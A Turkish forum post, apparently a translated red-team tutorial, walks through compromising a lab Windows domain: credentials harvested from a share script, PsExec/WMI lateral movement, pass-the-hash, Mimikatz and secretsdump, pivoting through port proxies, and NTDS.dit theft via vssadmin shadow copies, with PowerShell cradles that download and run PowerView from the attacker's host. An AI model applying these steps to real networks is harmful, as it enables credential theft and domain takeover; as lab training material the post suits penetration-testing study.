Windows Hacking Serisi #6 | Windows Domainleri, Püf Noktaları & Yararları

PuaL

Forum Üyesi
Katılım
19 Nisan 2020
Mesajlar
616
Tepkime puanı
0
Windows Domainleri, Püf Noktaler & Yararlar

Selam. Bu yazıda, bir Windows domain’ini tehlikeye atarken yanlanamasına olarak hareket etmenin farklı yollarını arayacağız. Bu gönderi hiçbir şekilde kapsamlı değildir, fakat daha temel tekniklerin ve düşünce süreçlerinin bazılarını kapsamaktadır. İşleri perspektif içinde tutmak için yerel domain’im olan REDHOOK ile ilgili sahte bir hedefi takip edeceğiz. Umarım bu, Windows etki alanlarına odaklanan bir dizi gönderinin ilki olur, görmek istediğiniz belirli bir şey varsa (Kerberos biletleri gibi) bana bir e-posta göndermekten çekinmeyin ve keyfini çıkarın!


Senaryo:

Görevimiz, "redhook.DA" domain hesabı için kullanılabilir kimlik bilgilerini elde etmektir. Saldırganın zaten kurumsal ağda olduğu, ancak henüz hedeflenen etki alanı denetleyicisiyle aynı alt ağda olmadığı bir konumdan başlıyoruz. Aşağıda kurulumun bir şemasını görebilirsiniz.




Ek olarak, saldırganın İstemci 1 için bir dizi geçerli yerel Yönetici kimlik bilgisi bulduğunu varsayacağız. Tipik olarak, ağ yeterince büyükse, bir ağ paylaşımında (batch, vbs, .NET, ps1) gibi yerlerde depolanan geçerli kimlik bilgileri bulacaksınız. "dir / s", "findstr / SI" ve Find-InterestingFile dostunuzdur. İlk erişimin nasıl kazanıldığına bağlı olarak, Cobalt Strike gibi çalışmak için güzel bir çerçeveye sahip olabilirsiniz veya kurumsal bir iş istasyonunda yerel olarak kullanılabilen işlevlerle sınırlı olabilirsiniz. Bu konuda saldırgan bir Kali kutusunun üzerinde olacak ama sadece Windows'a erişiminiz olduğunda yapabileceğiniz bazı şeyleri açıklayacağım. Son olarak, gönderide, SRP ve AV kaçınması ile uğraşmayacağız. Bunu aklınızda tutun çünkü AV uygulamaları=kötü.

Kaynaklar:
+ Active Directory Security ( ) -
+ harmj0y ( ) -
+ Exploit-Monday ( ) -
+ PowerView -
+ PowerSploit -
+ Impacket -
+ Impacket compiled by maaaaz -
+ Mimikatz -
+ Incognito -
+ Windows Credentials Editor -
+ Sysinternals Suite -



İstemci Uzlaşması 1

Daha önce bahsettiğim gibi, bir ağ paylaşımında "İstemci 1" için kullanıcı kimlik bilgilerini "bulduk". şu an aklıma böyle bir şey geliyor:

Kod:
# Mock contents of \\FileServer\Users\bob\Workstations\ErrorLog.bat

@ off

net use "\\10.0.0.129\C$" /user:bob ImSoSecur3!

if exist "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" (
echo "Sigh, more errors on Client1! Copying.."
copy "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" C:\Users\bob\Logs\Client1\
del "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt"
) else (
echo "Yaay, no new errors on Client1!"
)

net use "\\10.0.0.129\C$" /delete


Toplu komut dosyasında belirtilen IP için bazı NetBIOS bilgilerini hızlı bir şekilde alabiliriz.




Aynı şeyi Windows'ta "nbtstat -A IP" komutu ile de yapabilirsiniz. Makine adının WIN7-ENT-CLI1 olduğunu ve REDHOOK alanına bağlı olduğunu görebiliriz.



PsExec:

****sploit PsExec ile kutuya kolayca bir kabuk alabiliriz. Bob'un yerel bir hesap olduğuna dikkat edin, aksi takdirde "net use" komutu "REDHOOK\bob" öğesini belirtirdi. Bu nedenle SMBDomain parametresini kullanmıyoruz.




****sploit'te sunulan tek bir PsExec yok. RemComSvc kullanarak PsExec'i taklit eden Impacket'in PsExec'ini kullanabiliriz. Buradaki güzel şey, net metin kimlik bilgilerimiz yoksa hash'leri de kabul edecek olması, buna daha sonra geri döneceğiz.




Son olarak, Microsoft'un imzalı bir yürütülebilir dosya olma avantajına sahip kendi PsExec'ini de unutmayalım. Bu komuta "-s" bayrağını eklemek size bir SYSTEM kabuğunu verecektir.





Windows Yönetim Araçları (WMI):

Uzak komutları çalıştırmaya gelince birkaç WMI seçeneği de ayrıca vardır. En dikkate değer WMIC, yalnızca uzaktaki bir makinede komut yürütmenize izin vermekle kalmaz, aynı zamanda hepsi yerleşik olan araçları kullanarak hassas bilgiler elde etmek ve işletim sistemini yeniden yapılandırmak için WMI'dan yararlanabilirsiniz.




Açıkçası, komut yürütmenin avantajınıza olması için "cmd.exe/c" ve "powershell.exe -exec bypass -command" ile biraz yaratıcı olmanız gerekir. Buradakinin zıttı, hemen hemen her kutunun bu yerleşik içeriğe sahip olmasıdır.

Yine, Impacket'e geri dönersek, komutları çalıştırmanıza ve çıktı almanıza izin verecek WmiExec'e sahibiz, ayrıca size yarı etkileşimli bir kabuk verebilir ve karmaları kabul edebilir.





Son olarak, PowerSploit'te Invoke-WmiCommand var, bu, PSCredential nesnesi nedeniyle biraz daha fazla emek gerektirir, ancak komut çıktısını ve komut dosyası için bellek içi yerini alabilirsiniz.





Pass-The-Hash, WCE & Mimikatz:

Bazen bir kutuyu açtığınızda, açık metin şifresine değil, yalnızca kullanıcı hesabı için NTLM karmasına erişebilirsiniz. Bu durumlarda, ****sploit (psexec) veya Impacket'e (hemen hemen tüm araçlar PTH'yi destekler) erişiminiz varsa, o zaman işiniz kolay olacak. Yerel Windows ortamıyla sınırlıysanız, yine de NTLM karmasını WCE veya Mimikatz kullanarak bir işleme enjekte edebilirsiniz.




Buradaki dezavantaj, KKE'nin alarmları çalıştırma konusunda oldukça garantili olmasıdır! Mimikatz ise powershell w00t kullanılarak doğrudan belleğe yüklenebilir! Fakat bu durumda sadece derlenmiş binary kullanıyorum.




Her iki durumda da doaminin "." olarak ayarlandığına dikkat edin. Bunun sebebi ise bob'un yerel bir hesap olmasıdır, ancak bu domain hesapları için de mükemmel şekilde çalışacaktır.

Artık kutuya bir kabuk yerleştirmenin birçok yolu var. Bu biraz zor görünebilir, ancak tamamen fazlalıkla ilgili, bazı durumlarda yapabileceklerinizi kısıtlayan, belirli bir yöntem genel olarak amaçladığınız hedef için daha verimli olacaktır. Dikkat etmeniz gereken bir şey, PsExec varyantlarının size bir SYSTEM kabuğu verirken, WMI varyantları, kutuda kimlik doğrulaması yaptığınız kullanıcı olarak komutlarınızı yürütür. Yine birinin veya diğerinin arzu edildiği bazı durumlar vardır.




Smash-And-Grab

Yeni alt ağda bir yer edindikten sonra, klasik bir smash and grab zamanı. Erişebildiğimiz tüm kimlik bilgilerini (açık metin ve karmalar) toplamak ve oradan nereye gidebileceğimizi bulmak istiyoruz.


****sploit (Mimikatz & hashdump):

Meterpreter'dan oldukça sadedir. Aktif oturumu olan kullanıcılara düz metin kimlik bilgileri almak için Mimikatz'ı ve şu anda oturum açmamış yerel hesaplara karma değerleri almak için hashdump'ı kullanın.





Secretsdump & Invoke-Mimikatz:

Alternatiflerimizi açık tutmak için, Impacket's SecretsDump ve Powersploit'in Invoke-Mimikatz’ın kullanarak aynı sonuçları elde edebiliriz. Bu durumda Invoke-Mimikatz saldırganların web sunucusunda barındırılır. Sadelik için Mimikatz’ın çıktısını kestim.




Bununla başa çıkmanın doğal olarak başka yolları da var ama bunların muhtemel ana teknikler olduğunu düşünüyorum.


Keşif

Tamam, şimdi REDHOOK domainindeki bir makineye erişimimiz var ve bu da farklı bir alt ağa bağlı, biraz keşif yapma zamanı!


Taklit Etme:

Domaine özgü bilgileri sorgulamak istediğimiz için domain kullanıcısı olarak bir kabuğa ihtiyacımız olacak. Bu biraz sıkıntılı çünkü şu anda bob (domain kullanıcısı değil) ve SYSTEM olarak bir kabuğumuz var. Neyse ki, bazı belgelenmemiş NtQuerySystemInformation voodoo'yu kullanarak diğer kullanıcı hesaplarına ait tokenlerı bulabilir ve onları taklit edebiliriz, bu bilinen araç “incognito”nun dayanak aldığı bir şeydir. Ek olarak, makinede "REDHOOK\asenath.waite" oturumunun açıldığını biliyoruz, böylelikle oturum ana aday olacak.
Meterpreter, bu işlemi çok basit hale getiren gizli bir eklentiye sahiptir.





Alternatif olarak, uzaktan kullanıma izin veren PsExec benzeri işlevselliğe sahip Luke Jennings'in asıl incognito binary dosyasını kullanabilirsiniz.




Son olarak, PowerSploit's Invoke-TokenManipulation da var. Maalesef şu anki durumda onu kullanmanızı tavsiye edemem çünkü ihtiyacımız olan işlevselliği gerçekten alamıyoruz. İki hata raporu gönderdim (#112 & #113), eğer bu sorun çözülürse (özellikle 113), o zaman bu gönderiyi güncelleyeceğim çünkü düşünceme göre token kimliğine bürünmek için PowerShell'i kullanmak en iyi senaryo olurdu!



Domain Keşfi:

şimdi bir domain kullanıcısı olarak bir kabuğumuz var, arazinin bir yerleşimini elde etmek ve bir sonraki hedefimizin ne olacağını bulmak için hızlı bir şekilde numaralandırma yapmamız gerekiyor.

Kod:
C:\Windows\System32> whoami
redhook\asenath.waite

C:\Windows\System32> hostname
WIN7-Ent-CLI1

C:\Windows\System32> ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection 2:

Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::a1ba:a1ab:170c:7916%17
IPv4 Address. . . . . . . . . . . : 10.0.0.129 # Attacker's subnet
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :

Ethernet adapter Bluetooth Network Connection:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::5ddc:1e6:17e9:9e15%11
IPv4 Address. . . . . . . . . . . : 10.1.1.2 # REDHOOK subnet
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.1.1.1

Tunnel adapter isatap.{8D0466B5-1F88-480C-A42D-49A871635C9A}:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :

Tunnel adapter isatap.localdomain:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : localdomain

Tunnel adapter isatap.{5CBBE015-1E1C-4926-8025-EBB59E470186}:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :

# A very small network, three hosts, including the one we have just compromised.
C:\Windows\System32> net view
Server Name Remark

-------------------------------------------------------------------------------
\\REDRUM-DC red.dc
\\WIN7-ENT-CLI1
\\WIN7-ENT-CLI2

The command completed successfully.

# The DC the user is authenticated to
C:\Windows\System32> echo %logonserver%
\\REDRUM-DC

C:\Windows\System32> ping -n 1 REDRUM-DC

Pinging redrum-dc.redhook.local [10.1.1.200] with 32 bytes of data:
Reply from 10.1.1.200: bytes=32 time net user

User accounts for \\WIN7-ENT-CLI1

-------------------------------------------------------------------------------
Administrator bob Guest
TemplateAdmin

The command completed successfully.

# List REDHOOK domain users
C:\Windows\System32> net user /domain
The request will be processed at a domain controller for domain RedHook.local.


User accounts for \\Redrum-DC.RedHook.local

-------------------------------------------------------------------------------
Administrator asenath.waite Guest
john.smith krbtgt redhook.DA
robert.suydam wilbur.whateley

The command completed successfully.

# PowerSploit => Invoke-EnumerateLocalAdmin: Find all users who are local Administrators on a box in the
network.
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Invoke-EnumerateLocalAdmin"

Server : Redrum-DC.RedHook.local
AccountName : RedHook.local/Administrator # Be careful, Administrator is a domain user
SID : S-1-5-21-129707511-1158432277-3818383092-500 in this case, not a local user!
Disabled : False
IsGroup : False
IsDomain : True
LastLogin : 28/01/2016 21:38:22

Server : Redrum-DC.RedHook.local
AccountName : RedHook.local/Enterprise Admins
SID : S-1-5-21-129707511-1158432277-3818383092-519
Disabled : False
IsGroup : True
IsDomain : True
LastLogin :

Server : Redrum-DC.RedHook.local
AccountName : RedHook.local/Domain Admins
SID : S-1-5-21-129707511-1158432277-3818383092-512
Disabled : False
IsGroup : True
IsDomain : True
LastLogin :

Server : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/Administrator
SID : S-1-5-21-280973330-564264495-219324212-500
Disabled : ERROR
IsGroup : False
IsDomain : False
LastLogin :

Server : WIN7-ENT-CLI1.RedHook.local
AccountName : RedHook.local/Domain Admins
SID : S-1-5-21-129707511-1158432277-3818383092-512
Disabled : False
IsGroup : True
IsDomain : True
LastLogin :

Server : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/bob # The local user bob is an admin on Client 1,
SID : S-1-5-21-280973330-564264495-219324212-1002 we knew this already.
Disabled : ERROR
IsGroup : False
IsDomain : False
LastLogin :

Server : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/TemplateAdmin # Mmm!
SID : S-1-5-21-280973330-564264495-219324212-1003
Disabled : ERROR
IsGroup : False
IsDomain : False
LastLogin :

Server : WIN7-ENT-CLI2.RedHook.local
AccountName : WIN7-ENT-CLI2/Administrator
SID : S-1-5-21-1588183677-2924731702-2964281847-500
Disabled : ERROR
IsGroup : False
IsDomain : False
LastLogin :

Server : WIN7-ENT-CLI2.RedHook.local
AccountName : RedHook.local/Domain Admins
SID : S-1-5-21-129707511-1158432277-3818383092-512
Disabled : False
IsGroup : True
IsDomain : True
LastLogin :

Server : WIN7-ENT-CLI2.RedHook.local
AccountName : WIN7-ENT-CLI2/TemplateAdmin # Mmm², very suspicious, the local user
SID : S-1-5-21-1588183677-2924731702-2964281847-1004 TemplateAdmin is an admin on both "Client
Disabled : ERROR 1" and "Client 2"!
IsGroup : False
IsDomain : False
LastLogin :

# PowerSploit => Get-NetSession: List active, remote, logon sessions on the DC.
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName REDRUM-DC"

sesi10_cname sesi10_username sesi10_time sesi10_idle_time
------------ --------------- ----------- ----------------
\\[fe80::18a3:b250:ed6a:28f0] REDRUM-DC$ 10 10
\\10.1.1.2 asenath.waite 0 0

# Same for "Client 2". Crucially, notice that the domain user REDHOOK\Administrator is authenticated to
the box and that the connection is originating from the DC!
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName WIN7-ENT-CLI2"

sesi10_cname sesi10_username sesi10_time sesi10_idle_time
------------ --------------- ----------- ----------------
\\10.1.1.200 Administrator 1721 124
\\10.1.1.2 asenath.waite 0 0

# Let's get some more info about that account. Again, this is listing information about
REDHOOK\Administrator not the local administrator.
C:\Windows\System32> net user Administrator /domain
The request will be processed at a domain controller for domain RedHook.local.

User name Administrator
Full Name
Comment Built-in account for administering the computer/dom
ain
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never

Password last set 25/01/2016 21:15:11
Password expires Never
Password changeable 26/01/2016 21:15:11
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon 28/01/2016 21:38:22

Logon hours allowed All

Local Group Memberships *Administrators
Global Group memberships *Domain Users *Domain Admins # Oops, he is a DA!
The command completed successfully.

# We also won't forget to retrieve some info about our fictional target REDHOOK\redhook.DA.
C:\Windows\System32> net user redhook.DA /domain
The request will be processed at a domain controller for domain RedHook.local.

User name redhook.DA
Full Name redhook DA
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never

Password last set 25/01/2016 21:27:37
Password expires Never
Password changeable 26/01/2016 21:27:37
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon 28/01/2016 21:18:56

Logon hours allowed All

Local Group Memberships
Global Group memberships *Enterprise Admins *Domain Admins # Our target on the other hand is the
*Group Policy Creator *Schema Admins mother root of DA's hehe!
The command completed successfully.


Kısa aramamızın çıktısına bakmak, bize bir domain yöneticisi olma yolunda oldukça olası bir yol sunar.

(1) Yerel kullanıcı TemplateAdmin'in hem "İstemci 1" hem de "İstemci 2" de bir yönetici olduğu görülüyor. (2) TemplateAdmin için şifresiz metin kimlik bilgilerimiz olmasa da, "İstemci 2" ye erişmek için kullanabileceğimiz bir hash'e sahibiz. (3) REDHOOK\Administrator hesabının kimliği "İstemci 2" için doğrulanır, bu kutuyu oturum açmışken tehlikeye atarsak, açık metin kimlik bilgilerini alabilir ve/veya onun kimliğine bürünebiliriz. Bu noktada domaine hemen hemen sahibiz!

Devam etmeden önce, sürpriz bir kısa sınav sorusu: "REDHOOK\Administrator" ün domain yöneticileri grubunun bir parçası olmasının en olası nedeni nedir? Bunun MCSA sınavında olabileceğine ihtimal veriyorum.



Socks Proxy:


Altını çizmek istediğim son bir şey, ****sploit'in trafiği yerleşik oturumlar boyunca yönlendirme ve ardından bu erişimi bir sock proxy aracılığıyla işletim sistemine ifşa etme becerisidir. ****sploit veya kobalt grevi gibi bir şeye erişiminiz varsa bu çok yararlıdır.




"Oturum 1" üzerinden bir rota oluşturarak, temel olarak çoğu ****-casus modülüne, yönlendirilemeyen/24 alt ağındaki ana bilgisayarlara karşı çalıştırılma yeteneği verdik.




Ek olarak, bir Socks proxy başlatmak, proxychains kullanarak bu erişimi işletim sistemimize sunar. ****sploit modülü tarafından ayarlanan uygun bağlantı noktasını kullanmak için proxychains yapılandırma dosyasını düzenlediğinizden emin olun.




Bu durumda hatırlamanız gereken tek şey, Socks proxy'nin yalnızca TCP trafiğini kabul edeceğidir. Yine de çoğu şeyi yapabilirsiniz, ancak sınırları aklınızdan çıkmasın.

Bir Windows makinesinde temel işlevselliği kullanarak bir socks proxy'yi ayarlamak mümkün değildir. Ancak netsh kullanarak port yönlendirme kuralları oluşturabiliriz, buna daha sonra geri döneceğiz. Ayrıca, daha fazlasını istiyorsanız, SSH tünelleriyle biraz plink kapabilir ve sihir yapabilirsiniz, ancak bu, bu yazının kapsamı dışındadır.




İstemci Uzlaşması 2

"İstemci 1" ve "İstemci 2" arasında paylaşılan yerel yönetici hesabı TemplateAdmin, aynı kimlik bilgilerine sahip olduklarının gayet iyi bir göstergesidir. Bu nedenle, "İstemci 2"nin tehlikeye atılması yukarıdaki senaryodan çok farklı değildir, ancak kabuğumuzu döndürmemiz ve açık metin şifresi yerine hesap karmasını kullanmamız gerekir. Aşağıda bunu yapmanın iki yolunu göstereceğim, ancak başka seçenekler de kesinlikle mümkün.


****sploit (PortProxy & PsExec):

****sploit'teki özel rotamız üzerinden "İstemci 2" ye ulaşabilmemize rağmen, bağlantıyı geri almakta zorluk çekeceğiz. Bunu aşmak için portproxy modülünü kullanarak "İstemci 1" üzerinde bir port yönlendirme kuralı oluşturabiliriz.




Bu ilk bakışta biraz kafa karıştırıcı görünebilir ama gerçekten çok basittir. "İstemci 1" 10.1.1.2:9988'i dinliyor ve bu bağlantı noktasına gelen trafiği 10.0.0.128:9988'e gönderiyor. Bu aslında, Windows'ta netsh’ı arka planda sarmalamaktır. Geriye kalan tek şey PsExec'i biraz yeniden yapılandırmaktır.




Impacket (PsExec) & netsh:

Öncelikle, netsh kullanarak "İstemci 1" üzerinde manuel olarak bağlantı noktası yönlendirme kuralını ayarlamamız gerekecek.




şimdi 10.0.0.129:5678'de gelen trafiği 10.1.1.3:445'e yönlendirecek bir kural oluşturduk. Bunun çalışması için Impacket PsExec'inin özel bir bağlantı noktasına bağlanması gerekecek, bu kullanıma hazır olarak desteklenmiyor, ancak python kaynağını kolayca düzenleyebiliriz.




Kaydedilen değişikliklerimizle PsExec'i 10.0.0.129'a alabiliriz ve trafiğimiz artık 10.1.1.3'e iletilebilir!




İşiniz bittiğinde bağlantı noktası yönlendirme kuralını temizlemeyi unutmayın. Aşağıdaki komut, bağlantı noktası proxy yapılandırma dosyasını sıfırlayacaktır.

Kod:
C:\Windows\system32> netsh interface portproxy reset

Saf Windows?

Ne yazık ki, saldırgan bir Windows kutusundaysa, bunu yerel olarak çalıştırmanın bir yolunu bulamadım. Sorun, Sysinternals PsExec gibi araçların varsayılan olmayan bağlantı noktalarını sorgulamamasıdır. Ayrıca, saldırganın makinesinde 445 numaralı bağlantı noktası açıksa, yapılandırdığımız bağlantı noktası yönlendirme kurallarını yok sayar (ör: 127.0.0.1:445->10.0.0.129:5678). SMB'yi geçici olarak devre dışı bırakmak da bir seçenek değildir, bağlı dosyaların yeniden yapılandırılmasını ve makinenin yeniden başlatılmasını gerektirir (Harbi mi!?). İşe yarayacak herhangi bir büyü bilen varsa, lütfen aşağıya bir yorum bıraksın!

Bu durumda en iyi seçeneğiniz, maaaaz'ın burada yaptığı gibi, pyinstaller kullanarak Impacket'in PsExec'ini değiştirmek ve derlemek olacaktır.




Smash-And-Grab ²

REDHOOK\Administrator'ün "İstemci 2" için nasıl kimlik doğrulamasını yaptığına bağlı olarak, bu ilk senaryomuza benzer olabilir veya olmayabilir. Örneğin, basit bir "net use\\10.1.1.3\C$" komutu verildiyse, açık metin kimlik bilgileri veya bir karma elde edemeyiz, ancak "net use\\10.1.1.3\C$ / user: REDHOOK\ Administrator XXXXXXX " bize ikisini de verir. Temelde, REDHOOK\Administrator kullanıcısının kimlik doğrulaması sırasında kimlik bilgilerini gerçekten yazıp yazmadığına bağlıdır.

Her iki durumda da büyük olasılıkla oyun biteceğini unutmayın. Açık metin kimlik bilgilerini alamasak bile, REDHOOK\Administrator olarak çalışan bir işlem bulabilir ve incognito kullanarak bu işlemin belirtecini taklit edebiliriz.




****sploit Easy-Mode (Mimikatz & hashdump & incognito):




Bu durumda şanslıydık ya da bilerek yaptığım için değil hehe! sadece üslerimizi örtmek için Incognito’ya kısaca bir göz atalım.





Impacket (PsExec) & incognito:

Burada yine pivot nedeniyle bazı sınırlamalarımız var. Tekniği açıklamak için, biraz kullanıcı dostu olmaması yüzünden (Invoke-Mimikatz'ın aksine) uzak ana bilgisayarda incognitonasıl kullanabileceğimizi göstereceğim.




Komutu çalıştırdıktan sonra kabuğumuz kilitleniyor (iç çekme...). Bununla epey bir süre oynadım ve "-c" (etkileşimli mod) parametresi olmadan kabuğun takılmadığını, ancak komutlarınızı bir bat dosyasında gruplamazsanız da komutun doğru şekilde çalışmadığını gördüm. Beklemeden önce yalnızca ilkini yürütür. Daha açık olmak gerekirse, bu sorun yalnızca PsExec aracılığıyla incognito çalıştırılırken ortaya çıkar.
Oldukça kötü bir çözüm olmasına rağmen, makineye tekrar giriş yaptığımızda toplu komut dosyamızın doğru çalıştığını görebiliriz.





Herhangi biri incognito komutunu çalıştırmanın daha zarif bir yolunu bulabilirse, kesinlikle bir yorum bıraksın!



Dosya Transferleri:

Açıkçası, Impacket'in PsExec dosyasındaki "put" komutunu kullanarak kendime biraz daha basit davrandım. Genel olarak iyi bir yaklaşım, ihtiyacınız olabilecek herhangi bir dosyayı pivot kutusuna indirmek olacaktır, PowerShell'in WebClient'ını veya bitadmin gibi bir şeyi kullanabilirsiniz. Bazı fikirler için, buradaki Parvez’in gönderisine bir göz atın. Dosyalar yerleştirildikten sonra, kısıtlanmamış bir Windows paylaşımı oluşturabilir ve bunu pivotun arkasındaki ana bilgisayardan bağlayabilirsiniz. Aşağıda bazı örnek sözdizimini görebilirsiniz.

Kod:
# Create an unrestricted share.
C:\Users\asenath.waite> md C:\Users\asenath.waite\Desktop\test

C:\Users\asenath.waite> echo Hello > C:\Users\asenath.waite\Desktop\test\test.txt

C:\Users\asenath.waite> net share SomeShare=C:\Users\asenath.waite\Desktop\test /grant:everyone,full
SomeShare was shared successfully.

C:\Users\asenath.waite> net share
Share name Resource Remark

-------------------------------------------------------------------------------
C$ C:\ Default share
IPC$ Remote IPC
ADMIN$ C:\Windows Remote Admin
SomeShare C:\Users\asenath.waite\Desktop\test

The command completed successfully.

# On the remote host simple mount the share.
C:\Users\belial> net use \\10.0.0.129\SomeShare
The command completed successfully.

C:\Users\belial> type \\10.0.0.129\SomeShare\test.txt
Hello

# Unmount.
C:\Users\belial> net use \\10.0.0.129\SomeShare /delete
\\10.0.0.129\SomeShare was deleted successfully.

# Clean up the share.
C:\Users\asenath.waite> net share C:\Users\asenath.waite\Desktop\test /delete /yes
Users have open files on SomeShare. Continuing the operation will force the files closed.

SomeShare was deleted successfully.

C:\Users\asenath.waite> rd /S /Q C:\Users\asenath.waite\Desktop\test


Redrum-DC Uzlaşması

Bu noktada ya REDHOOK\Administrator için düz metin kimlik bilgilerini bulduk ya da kendi Domain Yöneticimizi oluşturduk, bu da DC'den ödün vermenin "İstemci 2" için kullandığımız işlemle tamamen aynı olacağı anlamına geliyor. Parmaklarımı biraz yazmaktan kurtarmak için tüm senaryoyu tekrar gözden geçirmeyeceğim, daha önce gösterilen bir dizi tekniği karıştırıp eşleştirebilirsiniz. Aşağıdaki iki örnek, yine, daha önce gördüğümüz durumlardan biraz farklı bir şey yapıyor.


Socks Proxy & Impacket (WmiExec):

Daha önce kurduğumuz socks proxy’i hatırlıyor musunuz? Domain’İ tehlikeye atmak için ihtiyacımız olan hemen hemen her şeyi Proxy üzerinde kullanabiliriz. Uyarı, pivotta bir socks proxy oluşturmamızı gerektirmesidir. Burada, işleri biraz değiştirmek için Impacket'in WmiExec'ini kullanıyoruz.




Basit değil mi? Sadece, bir seçenek olmaması durumdan dolayı buna çok fazla güvenmeyin!



Sysinternals (PsExec) & Invoke-Mimikatz:

İlk hedefimizi tamamlama ve REDHOOK\redhook.DA kullanıcı hesabı için kullanılabilir kimlik bilgilerini alma zamanı geldi. Bu örnek, Invoke-Mimikatz'ın kimlik bilgilerini uzak makinelere iletebilme yeteneğini kullanıyor. Esasen, "İstemci 1" üzerinde REDHOOK\Administratori olarak bir kabuk alıyoruz ve ardından DC'de Mimikatz'ı başlatıyoruz. Burada REDHOOK\redhook.DA'nın kutuda aktif bir oturumu olduğunu varsayıyoruz.




Burada yalnızca hashleri yığmamın nedeni, 2k12 R2/Windows 8.1+ üzerindeki gelişmiş koruma özellikleri nedeniyle, kimliği doğrulanmış kullanıcılar için açık metin kimlik bilgileri alamamamız. Ancak çıktıdan, bu kullanıcı olarak domaindeki diğer makinelerin kimliğini doğrulamak için fazlasıyla yeterli olacak REDHOOK\redhook.DA NTLM karmasını almayı başardığımızı görebiliriz.




Karmanın LM kısmını boş olarak doldurduğumuza dikkat edin, aslında oraya ne koyduğumuzun önemi yok. Burada kesinlikle Impacket ile sınırlı değiliz, ****sploit'in PsExec'i de WCE veya Mimikatz kullanarak bir komut isteminin NTLM hashini oluşturacak şekilde iyi çalışacaktır.



NTDS’yi Yağmalama

Oyun sonu emeği geçenler kısmına geçmeden önce NTDS'yi çıkarmak çoğu zaman yapılacak son şey olacaktır. Bunu yaparken, hem DC'ye yerel kabuk erişimi hem de WMI'yi uzaktan kullanarak bir dizi farklı teknik gösteren Sean Metcalf yazısını okumanızı şiddetle tavsiye ederim. Bu bölümde bunu başarmanın iki yolunu kısaca göstereceğim.


Volume Shadow Copy (Classic-Mode):

Bunu yapmanın en basit yolu arazinin dışında yaşamak, vssadmin kullanmaktır.

Kod:
C:\> whoami
redhook\redhook.da

# Get the path to NTDS, it may not be in the C drive.
C:\> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
System Schema Version REG_DWORD 0x45
Root Domain REG_SZ DC=RedHook,DC=local
Configuration NC REG_SZ CN=Configuration,DC=RedHook,DC=local
Machine DN Name REG_SZ CN=NTDS Settings,CN=REDRUM-DC,CN=Servers,CN=There-Be-Dragons,CN=Sites,CN=
Configuration,DC=RedHook,DC=local
DsaOptions REG_SZ 1
IsClone REG_DWORD 0x0
ServiceDll REG_EXPAND_SZ %systemroot%\system32\ntdsa.dll
DSA Working Directory REG_SZ C:\Windows\NTDS
DSA Database file REG_SZ C:\Windows\NTDS\ntds.dit
Database backup path REG_SZ C:\Windows\NTDS\dsadata.bak
Database log files path REG_SZ C:\Windows\NTDS
Hierarchy Table Recalculation interval (minutes) REG_DWORD 0x2d0
Database logging/recovery REG_SZ ON
DS Drive Mappings REG_MULTI_SZ c:\=\\?\Volume{1c6c559b-3db6-11e5-80ba-806e6f6e6963}\
DSA Database Epoch REG_DWORD 0x7983
Strict Replication Consistency REG_DWORD 0x1
Schema Version REG_DWORD 0x45
ldapserverintegrity REG_DWORD 0x1
Global Catalog Promotion Complete REG_DWORD 0x1
DSA Previous Restore Count REG_DWORD 0x1

# Create a shadow copy of C.
C:\> vssadmin create shadow /for=c:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Successfully created shadow copy for 'c:\'
Shadow Copy ID: {e0fd5b2d-b32d-4bba-89a2-efcf0b7b8fda}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

# Copy out ntds and the system hive.
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit
1 file(s) copied.

C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive
1 file(s) copied.


Dosyaları saldırganın makinesine geri getirdikten sonra (bunu yapmanın birçok yolu var, bir tanesini seçin) Impacket's SecretsDump'ı yerel olarak kullanabilir ve içeriği çıkarabiliriz. Aşağıdaki çıktı sadelik olması için kesilmiştir.




NTDS'nin tam anlamıyla binlerce kullanıcı hesabı içerebileceğini ve çok büyük olabileceğini unutmayın. Ayrıca, görev alanınızın dışına çıkmayın(!), NTDS'yi boşaltmak, Yöneticilerin kesinlikle balistik hale gelmesine neden olur!


Socks Proxy & Impacket (SecretsDump) (Easy-Mode):

Yine, göründüğü gibi komik, eğer pivotta bir socks proxy'si kurarsak, SecretsDump'ı basitçe proksize edebilir ve düz metin kimlik bilgileri veya bir karma kullanarak DC'ye karşı başlatabiliriz!




Son Düşünceler:

